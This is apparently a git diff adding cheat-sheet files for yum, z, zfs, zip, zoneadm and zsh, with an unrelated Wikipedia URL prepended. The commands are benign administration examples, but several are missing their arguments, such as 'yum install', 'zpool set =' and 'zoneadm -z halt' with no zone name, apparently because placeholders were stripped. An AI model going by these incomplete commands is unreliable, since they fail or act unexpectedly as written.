https://en.wikipedia.org/w/index.php?title=YouTube&oldid=723160791#Quality_and_formats diff --git a/yum b/yum new file mode 100644 index 0000000..c5eb136 --- /dev/null +++ b/yum @@ -0,0 +1,31 @@ +# To install the latest version of a package: +yum install + +# To perform a local install: +yum localinstall + +# To remove a package: +yum remove + +# To search for a package: +yum search + +# To find what package installs a program: +yum whatprovides + +# To find the dependencies of a package: +yum deplist + +# To find information about a package: +yum info + +# List currently enabled repositories: +yum repolist + +# List packages containing a certain keyword: +yum list + +# To download the source RPM for a package: +yumdownloader --source + +# (You have to install yumdownloader first, which is installed by the yum-utils package) diff --git a/z b/z new file mode 100644 index 0000000..4b5301f --- /dev/null +++ b/z @@ -0,0 +1,14 @@ +# To `cd` to most frecent dir matching `foo` +z foo + +# To `cd` to most frecent dir matching `foo`, then `bar` +z foo bar + +# To `cd` to highest ranked dir matching `foo` +z -r foo + +# To `cd` to most recently accessed dir matching `foo` +z -t foo + +# To list all dirs matching `foo` - By frecency +z -l foo diff --git a/zfs b/zfs new file mode 100644 index 0000000..845c079 --- /dev/null +++ b/zfs @@ -0,0 +1,126 @@ +# WARNING: +# In order to avoid headaches when moving ZFS physical devices around, +# one will be much better served to reference devices by their *immutable* +# ID - as in /dev/disk/by-id/* - rather than their block device name - +# as in /dev/{sd,nvme}* - which is bound to change as per PCI enumeration +# order. +# For the sake of briefness, we'll use the following variables: +# ${device} device (/dev/disk/by-id/${device}) +# ${part} partition (/dev/disk/by-id/${part=${device}-part${N}}) +# ${pool} ZFS pool (name) +# ${fs_vol} ZFS file system or volume (name) +# ${snapshot} ZFS snapshot (name) + + +## Pools + +# Create a new "RAID-5" (raidz1) pool +# Recommended: use entire devices rather than partitions +zpool create ${pool} raidz1 ${device} ${device} ${device} [...] + +# Add 2nd-level "RAID-1" (mirror) ZFS Intent Log (ZIL; synchronous write cache) +# Recommended: use separate, fast, low-latency devices (e.g. NVMe) +zpool add ${pool} log mirror ${part} ${part} + +# Add 2nd-level "RAID-0" Adaptive Replacement Cache (ARC; read cache) +# Recommended: use separate, fast, low-latency devices (e.g. NVMe) +zpool add ${pool} cache ${part} ${part} [...] + +# Remove log or cache components +zpool remove zfs ${part} [...] + +# Import (enable) existing pool from newly connected devices +# Note: this will create the /etc/zfs/zpool.cache devices cache +zpool import -d /dev/disk/by-id -aN + +# Import (enable) existing pool using the devices cache +zpool import -c /etc/zfs/zpool.cache -aN + +# Export (disable) pool (e.g. before shutdown) +zpool export -a + +# List all (imported) pools +zpool list + +# See pool status +zpool status ${pool} + +# See detailed pool I/O statistics +zpool iostat ${pool} -v + +# Verify pool integrity (data checksums) +# (watch progress with 'zpool status') +zpool scrub ${pool} + +# Remove a failing device from a pool +# Note: redundant pools (mirror, raidz) will continue working in degraded state +zpool detach ${pool} ${device} + +# Replace a failed device in a pool +# Note: new device will be "resilvered" automatically (parity reconstruction) +# (watch progress with 'zpool status') +zpool replace ${pool} ${failed-device} ${new-device} + +# Erase zpool labels ("superblock") from a device/partition +# WARNING: MUST do before reusing a device/partition for other purposes +zpool labelclear ${device} + +# Query pool configuration (properties) +zpool get all ${pool} + +# Change pool configuration (property) +zpool set = ${pool} + +# Dump the entire pool (commands) history +zpool history ${pool} + +# More... +man zpool + + +## File systems / Volumes + +# Create a new file system +zfs create ${pool}/${fs_vol} + +# Create a new volume ("block device") +# Note: look for it in /dev/zvol/${pool}/${fs_vol} +zfs create -V ${pool}/${fs_vol} + +# List all file systems / volumes +zfs list + +# Mount all file systems +# Note: see 'zfs get mountpoint ${pool}' for mountpoint root path +zfs mount -a + +# Create a snapshot +zfs snapshot ${pool}/${fs_vol}@${snapshot} + +# Delete a snapshot +zfs destroy ${pool}/${fs_vol}@${snapshot} + +# Full backup +# Note: pipe (|) source to destination through netcat, SSH, etc. +# ... on source: +zfs send -p -R ${pool}/${fs_vol}@${snapshot} +# ... on destination: +zfs receive -F ${pool}/${fs_vol} + +# Incremental backup +# Note: pipe (|) source to destination through netcat, SSH, etc. +# ... on source: +zfs send -p -R -i ${pool}/${fs_vol}@${snapshot-previous} ${pool}/${fs_vol}@${snapshot} +# ... on destination: +zfs receive -F ${pool}/${fs_vol} + +# Query file system / volume configuration (properties) +zfs get all ${pool} +zfs get all ${pool}/${fs_vol} + +# Change file system / volume configuration (property) +zfs set = ${pool}/${fs_vol} + +# More... +man zfs + diff --git a/zip b/zip new file mode 100644 index 0000000..94e643a --- /dev/null +++ b/zip @@ -0,0 +1,11 @@ +# Create zip file +zip archive.zip file1 directory/ + +# Create zip file from directory +zip -r archive.zip directory/ + +# Create zip file with password +zip -P password archive.zip file1 + +# To list, test and extract zip archives, see unzip +cheat unzip diff --git a/zoneadm b/zoneadm new file mode 100644 index 0000000..0dee119 --- /dev/null +++ b/zoneadm @@ -0,0 +1,21 @@ +# Halt zone +zoneadm -z halt + +# Delete Zone +zoneadm -z halt +zoneadm -z uninstall + +# Verify Zone +zoneadm -z verify + +# Installing Zone +zoneadm -z install + +# Boot Zone +zoneadm -z boot + +# Reboot Zone +zoneadm -z reboot + +# List Zones +zoneadm list -cv diff --git a/zsh b/zsh new file mode 100644 index 0000000..5db902e --- /dev/null +++ b/zsh @@ -0,0 +1,82 @@ +# A plain old glob +print -l *.txt +print -l **/*.txt + +# Show text files that end in a number from 1 to 10 +print -l **/*<1-10>.txt + +# Show text files that start with the letter a +print -l **/[a]*.txt + +# Show text files that start with either ab or bc +print -l **/(ab|bc)*.txt + +# Show text files that don't start with a lower or uppercase c +print -l **/[^cC]*.txt + +# Show only directories +print -l **/*(/) + +# Show only regular files +print -l **/*(.) + +# Show empty files +print -l **/*(L0) + +# Show files greater than 3 KB +print -l **/*(Lk+3) + +# Show files modified in the last hour +print -l **/*(mh-1) + +# Sort files from most to least recently modified and show the last 3 +print -l **/*(om[1,3]) + +# `.` show files, `Lm-2` smaller than 2MB, `mh-1` modified in last hour, +# `om` sort by modification date, `[1,3]` only first 3 files +print -l **/*(.Lm-2mh-1om[1,3]) + +# Show every directory that contain directory `.git` +print -l **/*(e:'[[ -d $REPLY/.git ]]':) + +# Return the file name (t stands for tail) +print -l *.txt(:t) + +# Return the file name without the extension (r stands for remove_extension) +print -l *.txt(:t:r) + +# Return the extension +print -l *.txt(:e) + +# Return the parent folder of the file (h stands for head) +print -l *.txt(:h) + +# Return the parent folder of the parent +print -l *.txt(:h:h) + +# Return the parent folder of the first file +print -l *.txt([1]:h) + +# Parameter expansion +files=(*.txt) # store a glob in a variable +print -l $files +print -l $files(:h) # this is the syntax we saw before +print -l ${files:h} +print -l ${files(:h)} # don't mix the two, or you'll get an error +print -l ${files:u} # the :u modifier makes the text uppercase + +# :s modifier +variable="path/aaabcd" +echo ${variable:s/bc/BC/} # path/aaaBCd +echo ${variable:s_bc_BC_} # path/aaaBCd +echo ${variable:s/\//./} # path.aaabcd (escaping the slash \/) +echo ${variable:s_/_._} # path.aaabcd (slightly more readable) +echo ${variable:s/a/A/} # pAth/aaabcd (only first A is replaced) +echo ${variable:gs/a/A/} # pAth/AAAbcd (all A is replaced) + +# Split the file name at each underscore +echo ${(s._.)file} + +# Join expansion flag, opposite of the split flag. +array=(a b c d) +echo ${(j.-.)array} # a-b-c-d